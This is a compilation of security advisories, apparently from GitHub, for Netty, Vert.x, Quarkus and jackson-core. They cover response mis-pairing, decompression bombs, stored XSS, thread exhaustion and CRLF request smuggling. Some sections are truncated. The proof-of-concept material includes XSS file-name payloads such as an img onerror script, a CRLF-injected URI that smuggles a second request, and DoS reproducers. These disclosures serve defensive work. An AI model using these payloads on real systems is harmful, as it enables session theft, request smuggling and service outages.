"value": "A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic."

If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.

Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."

Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {

GHSA-45P5-V273-3QQR
Vulnerability from github – Published: 2025-10-22 19:38 – Updated: 2026-01-21 16:37Description
- In the
StaticHandlerImpl#sendDirectoryListing(...)method under thetext/htmlbranch, file and directory names are directly embedded into thehref,title, and link text without proper HTML escaping. - As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
- Affected Code:
- File:
vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java - Lines:
- 709–713:
normalizedDiris constructed without escaping - 714–731:
<li><a ...>elements insert file names directly into attributes and body without escaping - 744: parent directory name construction
- 746–751:
{directory},{parent}, and{files}are inserted into the HTML template without escaping
- 709–713:
- File:
Reproduction Steps
-
Prerequisites:
- Directory listing is enabled using
StaticHandler
(e.g.,StaticHandler.create("public").setDirectoryListing(true)) - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
- Directory listing is enabled using
-
Create a malicious file name (example for Unix-based OS):
- Create an empty file in
public/with one of the following names: <img src=x onerror=alert('XSS')>.txt- Or attribute injection:
evil" onmouseover="alert('XSS')".txt - Example:
bash mkdir -p public printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
- Create an empty file in
-
Start the server (example):
- Routing:
router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true)); - Server:
vertx.createHttpServer().requestHandler(router).listen(8890);
- Routing:
-
Verification request (raw HTTP):
GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close -
Example response excerpt:
html <ul id="files"> <li> <a href="/public/<img src=x onerror=alert('XSS')>.txt" title="<img src=x onerror=alert('XSS')>.txt"> <img src=x onerror=alert('XSS')>.txt </a> </li> ... </ul> -
When accessing
/public/in a browser, the unescaped file name is interpreted as HTML, and event handlers such asonerrorare executed.
Potential Impact
-
Stored XSS
- Arbitrary JavaScript executes in the browser context of users viewing the listing page
- Possible consequences:
- Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
- Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
- Watering hole attacks, including malware distribution or malicious script injection to other pages
-
Common Conditions That Make Exploitation Easier
- Uploaded files are served directly under a publicly accessible directory
- Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
- ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments

Vulnerability from github – Published: 2026-01-07 18:09 – Updated: 2026-01-07 20:37A vulnerability exists in the HTTP layer of Quarkus REST related to response handling. When a response is being written, the framework waits for previously written response chunks to be fully transmitted before proceeding. If the client connection is dropped during this waiting period, the associated worker thread is never released and becomes permanently blocked. Under sustained or repeated occurrences, this can exhaust the available worker threads, leading to degraded performance, or complete unavailability of the application.
Workarounds
For versions without the fix applied, it is recommended to implement a health check that monitors the status and saturation of the worker thread pool. This helps detect abnormal thread retention early and allows operators to take corrective action before the application’s responsiveness is impacted.

GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives.

GHSA-84H7-RJJ3-6JX4
Vulnerability from github – Published: 2025-12-15 23:28 – Updated: 2025-12-20 02:30Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
